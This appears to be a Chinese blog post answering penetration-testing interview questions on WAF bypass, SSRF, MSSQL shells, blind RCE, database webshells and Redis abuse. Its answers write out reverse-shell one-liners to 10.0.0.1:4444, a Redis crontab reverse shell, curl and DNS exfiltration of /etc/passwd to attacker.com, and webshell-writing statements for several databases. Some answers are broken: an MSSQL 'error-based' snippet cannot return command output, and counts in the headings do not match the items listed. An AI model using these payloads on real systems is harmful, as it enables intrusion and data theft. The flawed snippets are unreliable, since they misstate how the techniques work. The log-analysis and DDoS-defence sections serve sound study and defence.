2025年渗透测试面试题总结-某四字大厂面试复盘扩展 二面 (题目+回答)

发布于:2025-04-08 ⋅ 阅读:(16) ⋅ 点赞:(0)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

某四字大厂面试复盘 二面

一、文件上传绕过WAF的15种深度技巧

二、SSRF利用与WAF绕过的8种高阶手法

三、MSSQL无XP_CMDSHELL的6种拿Shell方法

四、无回显RCE的5种数据外带技术

五、数据库写Shell的跨平台方法

六、大型日志分析的7个关键步骤

七、Redis未授权的5大渗透场景

八、SYN FLOOD攻击的防御与检测

九、UDP反射放大的攻防全景

 

某四字大厂面试复盘扩展 二面

文件上传如何绕waf
SSRF的利用和绕waf的手段
谈谈MSSQL如果XPCMDSHELL不能用怎么拿shell
遇到没回显的RCE怎么办
不能用SQLMAP的OS-SHELL,各种数据库如何写SHELL
给你一个比较大的日志,应该如何分析
redis未授权会导致哪些问题
讲讲SYN FLOOD原理,防御,检测手段
讲讲UDP反射放大的原理,防御,检测手段

一、文件上传绕过WAF的15种深度技巧

  1. 内容检测绕过
    • 文件头伪造:在恶意文件前添加合法文件头(如GIF89a),绕过魔术数字检测。
    • 多文件合并:将WebShell嵌入图片尾部,利用PHP的include函数包含执行。
    • 分块编码(Transfer-Encoding: chunked):拆解恶意代码为多个块,绕过正则匹配。
  2. 扩展名混淆
    • 大小写变形:上传.PhP.Jsp%20(空格截断)。
    • 双重扩展名shell.jpg.php (部分WAF仅检测最后一个扩展名)。
    • 空字节注入shell.php%00.jpg (PHP 5.3前版本有效)。
  3. MIME类型伪造
    • 修改Content-Type:上传PHP文件时声明为image/jpeg
    • 多部分表单混淆:在multipart/form-data中插入多个文件段干扰解析。
  4. 协议层绕过
    • HTTP/2流复用:利用多路传输特性绕过内容扫描。
    • 分片传输(Teardrop攻击):发送重叠的TCP分片导致WAF重组错误。
  5. 高级混淆技术
    • Unicode编码文件名shell.%u0070hp(部分WAF解码不一致)。
    • 动态参数化:通过JSON/XML传递文件内容,绕过表单字段检测。
    • HTTPS加密传输:部分WAF无法解密TLS流量进行深度检测。

二、SSRF利用与WAF绕过的8种高阶手法

  1. 协议滥用
    • Gopher协议:构造HTTP请求攻击内网服务(如Redis未授权写SSH密钥)。
    • Dict协议:探测内网端口开放状态(dict://127.0.0.1:6379/info)。
  2. IP表示形式绕过
    • 十进制IP2130706433127.0.0.1
    • IPv6缩写[::]等价于127.0.0.1
    • 域名重解析:利用xip.io (如127.0.0.1.xip.io )。
  3. DNS重绑定攻击
    • 短TTL域名:配置DNS记录在两次查询中返回不同IP(首次合法,第二次内网IP)。
    • 多级CNAME:通过多次跳转绕过域名黑名单检测。
  4. URL编码与变形
    • 双重编码%252F%2F/
    • 利用#号http://attacker.com#@10.0.0.1 (部分解析库忽略#后内容)。
  5. 云服务元数据利用
    • AWS IMDSv1绕过:通过X-Forwarded-For头欺骗元数据服务(已修复,需IMDSv2)。
    • Kubernetes API:通过/var/run/secrets/kubernetes.io/serviceaccount/token 获取Pod权限。

三、MSSQL无XP_CMDSHELL的6种拿Shell方法

  1. CLR集成利用
    • 编译C#执行命令的DLL,通过CREATE ASSEMBLY加载并调用:
      sqlCREATE ASSEMBLY ExecCMD FROM 'C:\temp\cmd.dll'; CREATE PROCEDURE sp_cmd @cmd NVARCHAR(255) AS EXTERNAL NAME ExecCMD.StoredProcedures.CmdExec; EXEC sp_cmd 'whoami'; 
  2. OLE自动化过程
    • 启用Ole Automation Procedures,通过sp_OACreate执行命令:
      sqlEXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; DECLARE @shell INT; EXEC sp_OACreate 'WScript.Shell', @shell OUTPUT; EXEC sp_OAMethod @shell, 'Run', NULL, 'cmd.exe /c whoami'; 
  3. Python/R脚本扩展
    • 启用外部脚本功能,执行Python反弹Shell:
      sqlEXEC sp_execute_external_script @language = N'Python', @script = N'import os; os.system("nc -e /bin/sh 10.0.0.1 4444")'; 
  4. 数据库错误信息外带
    • 通过错误回显获取命令结果:
      sqlBEGIN TRY DECLARE @var NVARCHAR(100) = (SELECT 'whoami' + 1); END TRY BEGIN CATCH SELECT ERROR_MESSAGE(); -- 返回 'whoami'命令结果 END CATCH 
  5. 日志文件写入WebShell
    • 利用MSSQL的xp_dirtreexp_subdirs写入文件:
      sqlEXEC xp_cmdshell 'echo ^<%@ Page Language="C#" %>^<% System.Diagnostics.Process.Start("cmd.exe"); %> > C:\inetpub\wwwroot\shell.aspx'; 

四、无回显RCE的5种数据外带技术

  1. DNS外带
    • Linuxdig $(whoami).attacker.com
    • Windowsnslookup %USERNAME%.attacker.com
  2. HTTP请求外带
    • 通过curl/wget发送数据到外部服务器:
      bashcurl http://attacker.com/$(cat /etc/passwd | base64) 
  3. 时间盲注
    • 利用命令执行延时判断结果:
      bashif [ $(whoami) = "root" ]; then sleep 10; fi 
  4. 文件写入+读取组合
    • 将结果写入临时文件,再通过其他漏洞读取:
      bashwhoami > /tmp/result.txt && python -m SimpleHTTPServer 8000 
  5. ICMP隧道
    • 使用工具如icmpsh将数据封装在ICMP包中传输:
      bash./icmpsh_m.py attacker 受害者IP 

五、数据库写Shell的跨平台方法

数据库类型 写Shell命令 利用条件
MySQL SELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/shell.php'; 需要FILE权限和secure_file_priv为空
PostgreSQL COPY (SELECT '<?php system($_GET[cmd]);?>') TO '/var/www/shell.php'; 需要超级用户权限
Oracle UTL_FILE.PUT_TEXT('WEB_DIR', 'shell.jsp', '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>'); 需预先配置目录对象
MSSQL EXEC xp_cmdshell 'echo ^<^%^ @Language="JScript" %^>^ <% eval(Request.Item["cmd"]) ^%^> > C:\inetpub\wwwroot\cmd.aspx'; 需启用xp_cmdshell
SQLite 通过ATTACH DATABASE写入Web目录:ATTACH DATABASE '/var/www/shell.php' AS evil; 需Web目录可写

六、大型日志分析的7个关键步骤

  1. 高频IP筛选
    • 使用awk '{print $1}' access.log | sort | uniq -c | sort -nr统计可疑IP。
  2. 状态码分析
    • 过滤404(扫描器特征)和5xx(潜在攻击成功)。
  3. User-Agent检测
    • 搜索非常规UA(如sqlmapnmap)。
  4. 敏感路径监控
    • 检查/admin/wp-login.php 等路径的异常访问。
  5. 攻击特征匹配
    • 使用正则匹配/etc/passwdunion select等关键字。
  6. 会话关联分析
    • 通过sessionid或IP关联多次请求,识别扫描行为。
  7. 时间序列异常
    • 分析突发流量(如1分钟内1000次请求)可能为CC攻击。

七、Redis未授权的5大渗透场景

  1. 数据泄露
    • 通过keys *遍历所有键,获取敏感信息。
  2. SSH密钥写入
    • 利用config set dirconfig set dbfilename覆盖authorized_keys
  3. 主从复制RCE
    • 设置恶意主节点,同步.so模块实现代码执行。
  4. Crontab任务注入
    • 写入定时任务反弹Shell:
      bashconfig set dir /var/spool/cron/crontabs/ set -e "\n* * * * * bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n" 
  5. 内网代理
    • 通过Redis的SLAVEOF命令将节点作为流量中转。

八、SYN FLOOD攻击的防御与检测

  1. 攻击原理
    • 发送大量伪造源IP的SYN包,耗尽服务器半连接队列。
  2. 防御手段
    • SYN Cookie:无状态处理SYN请求,仅在ACK验证后分配资源。
    • 首包丢弃:随机丢弃部分SYN包,迫使攻击者重传消耗资源。
    • 限速策略:通过iptables限制单个IP的SYN速率:
      bashiptables -A INPUT -p tcp --syn -m limit --limit 1/s -j ACCEPT 
  3. 检测方法
    • netstat统计netstat -n | grep SYN_RECV | wc -l
    • 流量分析:监控SYN包与ACK包的比例异常(正常约为1:1)。

九、UDP反射放大的攻防全景

  1. 攻击原理
    • 利用UDP协议无连接特性,伪造受害者IP向开放服务(如NTP、DNS)发送请求,触发远大于请求的数据包(放大倍数可达500倍)。
  2. 常见反射源
    • NTP(Monlist)monlist请求返回600字节,放大倍数200x。
    • DNS(ANY查询):返回包含所有记录的响应包。
    • Memcached:通过get请求触发大体积数据返回(曾导致1.7Tbps攻击)。
  3. 防御策略
    • 关闭无用UDP服务:禁用NTP的monlist功能。
    • 入口过滤(BCP38):ISP端配置ACL阻止伪造IP流量。
    • 限速与黑洞:在边界路由器对异常流量实施限速或黑洞路由。
  4. 检测技术
    • 流量基线对比:识别短时间内UDP流量突增。
    • 源端口分析:反射攻击通常使用固定源端口(如NTP的123端口)。